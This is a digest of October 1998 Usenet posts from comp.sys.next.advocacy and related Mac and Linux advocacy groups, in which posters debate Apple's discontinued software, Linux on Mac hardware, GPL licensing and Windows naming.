nntp://news.primenet.com/comp.sys.next.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>> Apple is the only company that I know of that cancels technology WHILE
>> customers are still using it.
>
> *coff*. You don't know a lot of companies then. Boeing cancelled the
>MD-11 even though there were many outstanding orders and their own
>production lines couldn't keep up with their own orders for similar sized
>planes (like the 777). This is a rather myopic view, even when you
>consider Apple - my mom still uses a II, are you suggesting they should
>continue building them?
No, but technology that runs on her II should still be available for
download from Apple's web-site.
The more software that runs on EVERY Mac model (32-bit, at least), the more
users will have a reason to upgrade their II's. Even if the "cutting edge"
software only runs on the latest machines, Apple should at least NOT
discourage people from writing software for older Macintoshes.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: w2k problem.
Date: 28 Oct 1998 19:28:12 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <717r8c$s1o@newsb.netnews.att.com>
References: <SCOTT.98Oct28084203@slave.doubleu.com>
Originator: gupta@tlctest
Scott Hess <scott@nospam.doubleu.com> wrote:
>No, that's not a misprint. I just figured that I'd better get moving
>if I wanted to be among the first to post about the "w2k problem"
>
>That being the "Windows 2000 problem" that Microsoft has just
>preannounced...
:-)
Solaris has no w2k problem, reference below.
Windows NT Magazine, ENT (Enterprise NT) magazine etc., all are
going to have to scramble for a name change.
***
-arun gupta
("Solaris has nothing to fear from NT - Analyst"
http://www.newsbytes.com/pubNews/120431.html )
( So as not to post a URL without telling you what it is about :
briefly -- Solaris competes in the large enterprise market;
should have little problem keeping ahead in quality of Windows NT.
For the mid-size, small business market, "Linux is your free basic
plumbing." If vendors realize they can support their applications
on Linux, there will be VAM (vendors against Microsoft) movement.)
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 28 Oct 1998 15:54:37 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <717ent$rk3@newsb.netnews.att.com>
References: <F1ICMK.4F7@T-FCN.Net> <B25BA564-42D5E@206.165.43.150> <F1JMIx.Kzz@t-fcn.net>
Originator: gupta@tlctest
Maury Markowitz <maury@remove_this.istar.ca> wrote:
>Now machines have surpassed the growth of
>software once again, even Office on my PC takes up a tiny fraction of my
>HD.
Off-main-topic, but on the lighter side, in an on-line editorial,
(http://www.chipanalyst.com/q/@10799232ngxdmn/slater/index.html)
(What Can You Do With a Terabyte ?)
Michael Slater of Microprocessor Report, notes that it is plausible
that terabyte disks should be available by 2010.
"That 1-terabyte drive might need a few gigabytes for Windows 09
and another ten gigabytes or so for Office, but this won't make much
of a dent."
-arun gupta
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Shutting down NT
Date: 28 Oct 1998 18:01:50 GMT
Organization: Net Squared, Inc.
Message-ID: <01be029c$b0c77d10$06387880@chewy>
Shutting Down NT: How We Did It
http://www.apple.com/publishing/internet/kai/
What is particularly interesting about this article at *Apple's* web
site is that it is essentially promiting *Linux* for the Mac hardware.
For more on the companies Linux for G3 solutions, see:
http://www.terrasoftsolutions.com/tss_linux.html
Todd
From: southpawNO_SPAM@altavista.net (Kieran Reilly)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Wed, 28 Oct 1998 12:51:38 -0400
References: <70kl4q$j4t$1@nnrp1.dejanews.com> <1998Oct27.152638.8642@il.us.swissbank.com> <1dhlatx.14exm0weg18edN@sdn-ar-002nynyorp190.dialsprint.net> <7179m9$gcc@shelob.afs.com> <1dhlsjw.fo153q1vuafppN@sdn-ar-002nynyorp328.dialsprint.net> <717h6u$gtn@shelob.afs.com>
Organization: volks.net
User-Agent: MacSOUP/2.4b3 (unregistered)
Message-ID: <1dhm0rp.aarfjv1lya29yN@sdn-ar-002nynyorp328.dialsprint.net>
Greg Anderson <greg@afs.com> wrote:
RN > Who wants to release a technologically superior OS when
RN > they are trying to convince the DOJ their competitor is
RN > a monopoly?
> > No one is trying to convince the DOJ any such thing. Monopolies are not
> > illegal. The DOJ is specifically asserting that Microsoft is a (legal)
> > monopoly USING its monopoly power in illegal ways.
> True, but a critical part of Microsoft's defense is that they claim not to
> have such a monopoly in the first place, which negates the leveraging
> argument.
KR > The point is that no _competitor_ of Microsoft's is
KR > "trying to convince the DOJ [Microsoft] is a monopoly."
KR > Everyone -- including the judge on the case, I'm sure --
KR > understands that a firm controlling 90% of the worldwide
KR > OS market is a de facto monopoly.
> I'm not defending Microsoft's position, I'm just stating what it is.
You're also making a tangential point to the thread -- namely, Richard
Nuttle's slightly nutty assertion that any company is trying to convince
the DoJ that Microsoft is a monopoly. This is clearly not the case, but
it clearly was the subject of the thread.
--
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Linux availibility for the Mac.
Date: Wed, 28 Oct 1998 22:27:33 GMT
Organization: Airnews.net! at Internet America
Message-ID: <A85252C77EEF538A.B0726B4E86BCB1F1.EB0AB62FCA0C8F08@library-proxy.airnews.net>
References: <715536$7i3$1@nnrp1.dejanews.com> <A41CBC786918BB29.F45AE3AE1E14C41F.F8E0C307EEFB0DCD@library-proxy.airnews.net> <716pp8$4u6$1@dinkel.civ.utwente.nl> <3637535f.0@news.together.net>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library.airnews.net
NNTP-Posting-Time: Wed Oct 28 16:19:04 1998
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On Wed, 28 Oct 1998 12:32:46 -0500, "Lance Togar" <ltogar@msn.com>
wrote:
>Michel Oosterhof wrote in message <716pp8$4u6$1@dinkel.civ.utwente.nl>...
>>a1050pi@yahoo.com (Sheldon Gartner) writes:
>>
>>>On Tue, 27 Oct 1998 18:57:43 GMT, milo_mklinux@my-dejanews.com wrote:
>>
>>>>I've been lurking here for a while, and I'd like to jump in to clear up
>some
>>>>things about Linux on the Mac.
>>>>
>>>>Someone said that there are only two types of Linux for the PowerPC Mac,
>>>>MkLinux and LinuxPPC. There is a third type as well, Debian-PowerPC.
>>>>Their Web site is: http://www.debian.org/ports/powerpc/
>>>>
>>>>LinuxPPC is at: http://www.linuxppc.org/
>>>>
>>>>MkLinux is at: http://www.mklinux.apple.com
>>>>
>>>>To find out how to install LinuxPPC on a G3 Mac, go to:
>>>>http://mercury.owc.net/linuxppc/index.html
>>
>>>Given that Apple could come up with something "amazingly great," they
>>>sure can be pretty dopy when it comes to something obvious like making
>>
>>>Linux the core of OSX instead of BSD. It all has to do with the Linux
>>>"meme."
>>
>>The linux meme is GPL. IF apple used liux as the core for their operating
>>system, they'd have to distiribute it with the linux source, including
>>all the changes/modificatoins they made to it. And they would not be
>>allowed to `sell licences', but only charge for distribution costs.
>>And everyone would be able to modify this again, basically putting Apple
>>out of business.
>..
>READ the license. Apple wouldn't _have_ to distribute anything. They _would_
>need to make the GPL'd source available. Since the GUI they'd glue on the
>top would not be covered under the GPL, that source would stay with Apple
>along with any other "additions". For example, Informix intends to port a
>version to Linux. I don't expect they'll make the source available much less
>distribute it.
Given that I suspect in the future your major Linux venders will be
companies that actually make their money off of other stuff like
hardware or apps that run on Linux, Apple is in a unique postion to
become the center of the Linux world.
1. use all those Unix people they got from NeXT to create a Apple
Linux that is very, very, very easy to install on both Mac and PC
hardware. Use KDE or GNOME for the GUI. (and contribute people to
whichever ever they perfer) Make it so when people think Apple
hardware, they think FAST LINUX!
2. Ship ALL new Macs dual boot Linux/Mac
3. port Quicktime, etc to Linux
4. look long and hard at chucking OSX altogether in favor of
previously described Apple Linux.
>>>Linux is transforming the computer industry and it would do wonders
>>>for Apple if they could ride the Linux wave.
>..
>Sure but how'd they explain the Next purchase to the stockholders??
It made it easier for them to port stuff to Linux. 8-)
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
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Cc: english@primenet.com
Organization: needs one
References: <F1JMIx.Kzz@T-FCN.Net> <B25CC061-23548@206.165.43.58>
Mime-Version: 1.0
Date: Wed, 28 Oct 1998 23:07:55 GMT
In <B25CC061-23548@206.165.43.58> "Lawson English" wrote:
> No, but technology that runs on her II should still be available for
> download from Apple's web-site.
Like all the PowerTalk tools? Do you propose they're also involved in an
anti-PT conspiracy because the files are no longer available on the ftp
sites?
> The more software that runs on EVERY Mac model (32-bit, at least)
So you're willing to have some cutoff. How about 030/040's? 8meg of
RAM? PMac? I say PMac and 16meg is good from a business perspective.
> more users will have a reason to upgrade their II's.
I don't see this at all, I see this as more reason NOT to upgrade their
machines. The market is clearly driven be people buying new machines so
they can run some new piece of software that does not run (well) on their
current machine.
> Even if the "cutting edge"
> software only runs on the latest machines, Apple should at least NOT
> discourage people from writing software for older Macintoshes.
And they're doing that how? By removing CD? This stops people from
writing 68k software in what way exactly?
Your entire whine is based on them "destroying" the software, but even
some basic poking about found...
ftp://ftp.apple.com/Apple_Support_Area/Apple_Software_Updates/English-North_
American/Macintosh/Networking-Communications/Cyberdog/
and
ftp://ftp.apple.com/Apple_Support_Area/Apple_Software_Updates/English-North_
American/Macintosh/System/OpenDoc/
(admittedly older).
Maury
From: billa@uiuc.edu (Bill Altenberger)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: Wed, 28 Oct 1998 18:27:43 -0600
Organization: Just me
Message-ID: <billa-2810981827440001@archbald-87.slip.uiuc.edu>
References: <7156co$ors@newsb.netnews.att.com> <cirby-2710981724400001@pm61-01.magicnet.net> <slrn73d3uk.3tn.jason@jhste1.dyn.ml.org> <716948$1e5@dfw-ixnews4.ix.netcom.com>
In article <716948$1e5@dfw-ixnews4.ix.netcom.com>, "Robert Fovell"
<rfovell@yahoo.com> wrote:
> Windows 1900... Windows 1900...
>
> For some reason, I found myself thinking about the plot of a recent Star
> Trek movie... in which the Borg goes back in time in order to change
> history... Hmm... Damn glad Star Trek's just science fiction ;-)
It ain't all SCFI. NASA is testing out an ion drive propulsion system.
Physicists claimed last week to have teleported photons.
See http://www.abc.com/sections/science for the stories.
Somebody had to be using a Mac on one of these projects...
Bill
>
> --
> Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
>
> http://uniblab.atmos.ucla.edu/~fovell [science page]
> http://home.earthlink.net/~rfovell [PC parody page]
>
> "That's not what a Mac does. I want Mac on the PC,
> I want Mac on the PC." -- Bill Gates
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Shutting down NT
Date: 28 Oct 1998 18:22:56 GMT
Organization: Net Squared, Inc.
Message-ID: <01be029f$a37e6da0$06387880@chewy>
References: <01be029c$b0c77d10$06387880@chewy>
> What is particularly interesting about this article at *Apple's* web
> site is that it is essentially promiting *Linux* for the Mac hardware.
^^^^^^^^^
Oops. Should be "promoting Linux"
Todd
From: matvon-diespam@mad.scientist.com (Matthew Vaughn)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Shutting down NT
Date: Wed, 28 Oct 1998 13:30:42 -0600
Organization: Lightyear Media
Message-ID: <matvon-diespam-2810981330420001@bushlab4.life.uiuc.edu>
References: <01be029c$b0c77d10$06387880@chewy>
They do, after all, officially support MkLinux development on the side.
Perhaps it's a hedge.. if OS X or OS Server is great but market forces
conspire to ignore that fact, Apple can still sell killer Linux ready
HW...
Also, there's no reason for them not to, (hedge theory aside) because for
now Linux doesn't threaten to displace MacOS from its core market (ie
People who like it simple and functional)...
Think about it: You buy a G3 JUST to install Linux on it. No you may not
upgrade to OS 8.5 this month. But you spent 3500 bucks buying a G3. And
since OSx is UNIX cored, likely you'll tyry to adopt it when it comes out.
I think it's SPLENDID thinking on their part.
--
<DARWIN><
' '
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOSX Screenshot
Date: 29 Oct 1998 02:14:29 GMT
Organization: MiscKit Development
Message-ID: <718j25$64d$1@news.xmission.com>
References: <714uor$ov4$4@hecate.umd.edu>
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ElizaSnow@dejanews.com wrote:
> Anyone try nailing the MacOSX Screenshot contest on
> http://www.stepwise.com/Articles/DBunker/ScreamShot.html yet? [...]
Yet another quick note.
Today (Oct. 28, 1998) the server with the images went down for a good part of
the day (approx. 10:00am-7:00pm MST), due to a series of unfortunate
circumstances. I have corrected the problem and the server is back up, so if
you are one of the people who experienced difficulties viewing the image, it
is back.
I am sorry for the inconvenience (as is the rest of the Stepwise staff). Of
all the days to have troubles, this was NOT the right one! :-) If further
problems are experienced, let me know. (I'll be trying to watch the server
closely, but I can't be on the net 24/7...so something could slip by.)
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
References: <715536$7i3$1@nnrp1.dejanews.com> <A41CBC786918BB29.F45AE3AE1E14C41F.F8E0C307EEFB0DCD@library-proxy.airnews.net> <716pp8$4u6$1@dinkel.civ.utwente.nl> <3637535f.0@news.together.net> <A85252C77EEF538A.B0726B4E86BCB1F1.EB0AB62FCA0C8F08@library-proxy.airnews.net>
Subject: Re: Linux availibility for the Mac.
Date: Wed, 28 Oct 1998 21:43:28 -0500
Message-ID: <3637d46e.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Sheldon Gartner wrote in message ...
>On Wed, 28 Oct 1998 12:32:46 -0500, "Lance Togar" <ltogar@msn.com>
>wrote:
>
>>Michel Oosterhof wrote in message <716pp8$4u6$1@dinkel.civ.utwente.nl>...
>>>a1050pi@yahoo.com (Sheldon Gartner) writes:
>>>
>>>>On Tue, 27 Oct 1998 18:57:43 GMT, milo_mklinux@my-dejanews.com wrote:
>>>
>>>>>I've been lurking here for a while, and I'd like to jump in to clear up
>>some
>>>>>things about Linux on the Mac.
>>>>>
>>>>>Someone said that there are only two types of Linux for the PowerPC
Mac,
>>>>>MkLinux and LinuxPPC. There is a third type as well,
Debian-PowerPC.
>>>>>Their Web site is: http://www.debian.org/ports/powerpc/
>>>>>
>>>>>LinuxPPC is at: http://www.linuxppc.org/
>>>>>
>>>>>MkLinux is at: http://www.mklinux.apple.com
>>>>>
>>>>>To find out how to install LinuxPPC on a G3 Mac, go to:
>>>>>http://mercury.owc.net/linuxppc/index.html
>>>
>>>>Given that Apple could come up with something "amazingly great," they
>>>>sure can be pretty dopy when it comes to something obvious like making
>>>
>>>>Linux the core of OSX instead of BSD. It all has to do with the Linux
>>>>"meme."
>>>
>>>The linux meme is GPL. IF apple used liux as the core for their operating
>>>system, they'd have to distiribute it with the linux source, including
>>>all the changes/modificatoins they made to it. And they would not be
>>>allowed to `sell licences', but only charge for distribution costs.
>>>And everyone would be able to modify this again, basically putting Apple
>>>out of business.
>>..
>>READ the license. Apple wouldn't _have_ to distribute anything. They
_would_
>>need to make the GPL'd source available. Since the GUI they'd glue on the
>>top would not be covered under the GPL, that source would stay with Apple
>>along with any other "additions". For example, Informix intends to port a
>>version to Linux. I don't expect they'll make the source available much
less
>>distribute it.
>
>Given that I suspect in the future your major Linux venders will be
>companies that actually make their money off of other stuff like
>hardware or apps that run on Linux, Apple is in a unique postion to
>become the center of the Linux world.
..
A few years late for this.
..
>1. use all those Unix people they got from NeXT to create a Apple
>Linux that is very, very, very easy to install on both Mac and PC
>hardware. Use KDE or GNOME for the GUI. (and contribute people to
>whichever ever they perfer) Make it so when people think Apple
>hardware, they think FAST LINUX!
..
This is a pet project for outfits like RedHat. They've got quite a lead. As
far as fast Linux goes, inexpensive dual PIIs are faster that anything Apple
has now or in the hopper.
..
>2. Ship ALL new Macs dual boot Linux/Mac
..
This is a *good* idea for Apple. However, by the time Jobs thinks of it, I
suspect the time will've passed.
..
>3. port Quicktime, etc to Linux
..
Much work.
..
>4. look long and hard at chucking OSX altogether in favor of
>previously described Apple Linux.
..
You've got my vote... I don't much care for BSD anyway.
..
>>>>Linux is transforming the computer industry and it would do wonders
>>>>for Apple if they could ride the Linux wave.
>>..
>>Sure but how'd they explain the Next purchase to the stockholders??
>
>It made it easier for them to port stuff to Linux. 8-)
..
That might work :)
..
..
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Linux availibility for the Mac.
Date: 29 Oct 1998 03:14:41 GMT
Organization: I don't think so
Message-ID: <slrn73fnn9.99b.jason@jhste1.dyn.ml.org>
References: <715536$7i3$1@nnrp1.dejanews.com> <A41CBC786918BB29.F45AE3AE1E14C41F.F8E0C307EEFB0DCD@library-proxy.airnews.net> <716pp8$4u6$1@dinkel.civ.utwente.nl> <3637535f.0@news.together.net> <A85252C77EEF538A.B0726B4E86BCB1F1.EB0AB62FCA0C8F08@library-proxy.airnews.net> <3637d46e.0@news.together.net>
Lance Togar posted the following to comp.sys.mac.advocacy:
>>3. port Quicktime, etc to Linux
>Much work.
I dunno - a lot of the Unix issues probably had to be solved for MacOS X.
Maybe it isn't as much work as you think...
--
"...and a more offensive spectacle I cannot recall."
-- Newman
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: Wed, 28 Oct 1998 22:04:13 -0500
Organization: phenix@interpath.com
Message-ID: <1dhmql0.16d2umq1cwc9ioN@roxboro0-035.dyn.interpath.net>
References: <6vdd10$mve@newsb.netnews.att.com> <pxpst2-0610982123080001@pelli.pathology.pitt.edu> <70ipmn$osd@newsb.netnews.att.com> <cybin9NOSPAM-2210982039060001@randolphmax1-107.megsinet.net> <70q27s$87o@newsb.netnews.att.com> <cybin9NOSPAM-2310981602090001@randolphmax3-91.megsinet.net> <macghod-2310982119440001@1cust81.tnt1.santa-barbara.ca.da.uu.net> <cybin9NOSPAM-2510981433050001@randolphmax3-53.megsinet.net> <3634F943.7CFE@betabreakers.com> <7156co$ors@newsb.netnews.att.com> <cirby-2710981724400001@pm61-01.magicnet.net> <slrn73d3uk.3tn.jason@jhste1.dyn.ml.org> <716948$1e5@dfw-ixnews4.ix.netcom.com> <billa-2810981827440001@archbald-87.slip.uiuc.edu>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4b3
Bill Altenberger <billa@uiuc.edu> wrote:
> "Robert Fovell" <rfovell@yahoo.com> wrote:
>
> > Windows 1900... Windows 1900...
> >
> > For some reason, I found myself thinking about the plot of a recent Star
> > Trek movie... in which the Borg goes back in time in order to change
> > history... Hmm... Damn glad Star Trek's just science fiction ;-)
>
> It ain't all SCFI. NASA is testing out an ion drive propulsion system.
> Physicists claimed last week to have teleported photons.
>
> See http://www.abc.com/sections/science for the stories.
>
> Somebody had to be using a Mac on one of these projects..
We can't tell - that address doesn't do anything more than
<http://www.abc.com/> does.
--
John Moreno
From: "Geoff Ehringer" <Ehringer@sgi.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com> <rbarris-ya023280002710981628380001@206.82.216.1> <363c3e6f.57868009@news.supernews.com>
Subject: Re: A computer is not like a car.
Message-ID: <ZSSZ1.255$k9.122363@news.sgi.net>
Date: Thu, 29 Oct 1998 00:16:56 -0500
NNTP-Posting-Date: Thu, 29 Oct 1998 00:16:41 EDT
Organization: Stargate Industries, LLC.
You can download MSIE 4.01. It updates Windows 95 so the recycle bin
supports directories. Try that if you want to restore directories after
their "accidental" deleting.
T. Max Devlin wrote in message <363c3e6f.57868009@news.supernews.com>...
>Quoting rbarris@quicksilver.com (Rob Barris) from
>alt.destroy.microsoft; Tue, 27 Oct 1998 16:28:38 -0800
>>In article <715ngv$hcs$7@eskinews.eskimo.com>, "Chris Alsan"
>><bgodot@eskimo.com> wrote:
>>
>>> The recycle bin does keep track of files original locations.
>>
>> Doesn't work for me, if I drag a Win95 folder hierarchy to the recycle
>>bin, it gets flattened. No easy way to drag it back out the way it was (if
>>I dragged the wrong thing or if I change my mind). Did I miss something?
>
>Yes, you are, but only partially. The Win95 recycle bin DOES NOT
>support directories. You will not see your folder in there, no
>matter what you do. BUT...
>
>If you restore any of the files from the deleted folder, the
>directory will be re-created. You can also see which directory the
>files came from by choosing View--Details from the menu. You can
>sort the list of deleted files by original location by clicking on
>the column heading. And then you can easily select and restore all
>of the files from the deleted folder.
>
>Pretty intuitive, huh?
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 28 Oct 98 23:35:24 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B25D5ABF-22898@206.165.43.25>
References: <F1K897.AK7@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
> Your entire whine is based on them "destroying" the software, but even
>some basic poking about found...
>
>ftp://ftp.apple.com/Apple_Support_Area/Apple_Software_Updates/
>English-North_
>American/Macintosh/Networking-Communications/Cyberdog/
Er, that is an ftp site for CD 1.2.1
The latest version is 2.0, which cannot be found, according to every person
posting on the mirrored Cyberdog newsgroup. CD 1.2.1 is really more of a
product demo and is QUITE buggy. CD 2.0 is the "turn out the lights"
version and is still useful and is still being upgraded by third parties.
I'm not sure that you can even USE some of the 3rd-party products with
1.2.1.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jedi@dementia.mishnet ()
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Linux availibility for the Mac.
Date: Thu, 29 Oct 1998 00:45:07 -0800
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <slrn73gaoj.2kb.jedi@dementia.mishnet>
References: <715536$7i3$1@nnrp1.dejanews.com> <A41CBC786918BB29.F45AE3AE1E14C41F.F8E0C307EEFB0DCD@library-proxy.airnews.net> <716pp8$4u6$1@dinkel.civ.utwente.nl> <3637535f.0@news.together.net> <A85252C77EEF538A.B0726B4E86BCB1F1.EB0AB62FCA0C8F08@library-proxy.airnews.net> <3638135F.8F1ED4D5@ncal.verio.com>
On Wed, 28 Oct 1998 23:03:59 -0800, Mike Paquette <mpaque@ncal.verio.com> wrote:
>> Given that I suspect in the future your major Linux venders will be
>> companies that actually make their money off of other stuff like
>> hardware or apps that run on Linux, Apple is in a unique postion to
>> become the center of the Linux world.
>
>Um. All that code in the usual Linux (and MkLinux) distribution is under GPL
>or similar (sometimes more restrictive) copyleft. Apple would also have to
>give away the source for everything they added on the distribution, if the
They only have to give away source to the things they change.
>terms of all these assorted licenses were honored, and couldn't charge more
>than distribution costs. (RMS is complaining about the proprietary software
>and docs on the MkLinux disk; that is, the MacOS used to bootstrap the Linux installation!)
>
Oddly enough, this doesn't slow Caldera down one bit. They
are in the same position that Apple would be in if they
wanted to be a Linux VAR. The GPL/LGPL are rather misunderstood
and misrepresented.
>Apple would have to derive all revenues from product support, eating the
>non-recurring engineering costs. I'd be hard pressed to explain to the
>stockholders how this benefits them. It's not a good fit for Apple's business
>model. Then again, there seems to be a hardcore 'death to the capitalist pig
>dog imperialist warmongers' thing going with a few folks with regard to
>responsibilities to investors.
>
>Don't get me wrong. I like Linux, and it has a definite place in the
>marketplace, and is a good fit for some niches. I don't think it's a terribly
>good replacement for desktop computing applications for non-technical users,
>and is a really bad mismatch with Apple's business model.
>
>Commercial Linux distributions are best left with companies that have tailored
>their buisiness plans and capabilities appropriately, such as Red Hat, Prime
>Time Freeware, and similar businesses.
>
--
Unix had startmenus and tasbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
From: Mattrol@uscom.com (Drakmere)
Subject: Re: A computer is not like a car.
Organization: Organization to Stop Long Organization Names
Message-ID: <719hu1$2gg_002@news.uscom.com>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com> <rbarris-ya023280002710981628380001@206.82.216.1> <363c3e6f.57868009@news.supernews.com> <ZSSZ1.255$k9.122363@news.sgi.net>
Date: Thu, 29 Oct 1998 11:01:21 GMT
NNTP-Posting-Date: Thu, 29 Oct 1998 03:01:29 PDT
In article <ZSSZ1.255$k9.122363@news.sgi.net>, "Geoff Ehringer" <Ehringer@sgi.net> babbled thusly:
>You can download MSIE 4.01. It updates Windows 95 so the recycle bin
>supports directories. Try that if you want to restore directories after
>their "accidental" deleting.
Just try d/ling MSIE 4.01, I dare you. I've been trying for at least a week.
(Turn on the install before I go to sleep, see it failed an hour after I turned
it on when I wake up.)
>T. Max Devlin wrote in message <363c3e6f.57868009@news.supernews.com>...
>>Quoting rbarris@quicksilver.com (Rob Barris) from
>>alt.destroy.microsoft; Tue, 27 Oct 1998 16:28:38 -0800
>>>In article <715ngv$hcs$7@eskinews.eskimo.com>, "Chris Alsan"
>>><bgodot@eskimo.com> wrote:
>>>
>>>> The recycle bin does keep track of files original locations.
>>>
>>> Doesn't work for me, if I drag a Win95 folder hierarchy to the recycle
>>>bin, it gets flattened. No easy way to drag it back out the way it was (if
>>>I dragged the wrong thing or if I change my mind). Did I miss something?
>>
>>Yes, you are, but only partially. The Win95 recycle bin DOES NOT
>>support directories. You will not see your folder in there, no
>>matter what you do. BUT...
>>
>>If you restore any of the files from the deleted folder, the
>>directory will be re-created. You can also see which directory the
>>files came from by choosing View--Details from the menu. You can
>>sort the list of deleted files by original location by clicking on
>>the column heading. And then you can easily select and restore all
>>of the files from the deleted folder.
>>
>>Pretty intuitive, huh?
>
>
--
(All quotes and spellings are not guaranteed accurate.)
ICQ: 8869737 Yahoo: Drakmere Aim: drakmere9
The irony is that Bill Gates claims to be making a stable operating system and Linus Torvalds claims to be trying to take over the world.
When in-laws are outlawed, only outlaws will have in-laws.
This .sig in UNDER CONSTRUCTION
Any suggestions are appreciated, and disposed of ;)
Message-ID: <3638297D.48D29D58@nstar.net>
Date: Thu, 29 Oct 1998 02:38:21 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Linux availibility for the Mac.
References: <715536$7i3$1@nnrp1.dejanews.com> <A41CBC786918BB29.F45AE3AE1E14C41F.F8E0C307EEFB0DCD@library-proxy.airnews.net> <716pp8$4u6$1@dinkel.civ.utwente.nl> <3637535f.0@news.together.net> <A85252C77EEF538A.B0726B4E86BCB1F1.EB0AB62FCA0C8F08@library-proxy.airnews.net> <3638135F.8F1ED4D5@ncal.verio.com>
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Mike Paquette wrote:
> Um. All that code in the usual Linux (and MkLinux) distribution is under GPL
> or similar (sometimes more restrictive)
More often less restrictive. The Artistic License and the BSD License
are both very common on the Linux platform.
> copyleft. Apple would also have to
> give away the source for everything they added on the distribution,
I'm certainly not known for being a fan of the GPL, but the above is
plainly untrue.
> if the
> terms of all these assorted licenses were honored, and couldn't charge more
> than distribution costs.
By the terms of the Artistic License, the "reasonability" of
distribution costs is not enforceable by the owner of the license. It
depends upon the market to enforce "reasonability", as the AL explicitly
notes.
> (RMS is complaining about the proprietary software
> and docs on the MkLinux disk; that is, the MacOS used to bootstrap the Linux installation!)
Does it matter? Do many people listen to RMS anymore? That would make an
interesting survey.
> Apple would have to derive all revenues from product support, eating the
> non-recurring engineering costs.
This would only be so if Apple were to GPL its work. I don't know why in
the world that would be required. Two separate products sold together:
Apple/Linux Base and Apple/Linux Rhapsody. One is sold under the same
terms enjoyed by current Linux distributors, the other is sold as a
supplemental commercial product.
> I'd be hard pressed to explain to the
> stockholders how this benefits them. It's not a good fit for Apple's business
> model. Then again, there seems to be a hardcore 'death to the capitalist pig
> dog imperialist warmongers' thing going with a few folks with regard to
> responsibilities to investors.
>
> Don't get me wrong. I like Linux, and it has a definite place in the
> marketplace, and is a good fit for some niches. I don't think it's a terribly
> good replacement for desktop computing applications for non-technical users,
> and is a really bad mismatch with Apple's business model.
That's because most people misunderstand the licensing situation.
Unfortunately, most of the misinformation is provided courtesy of your
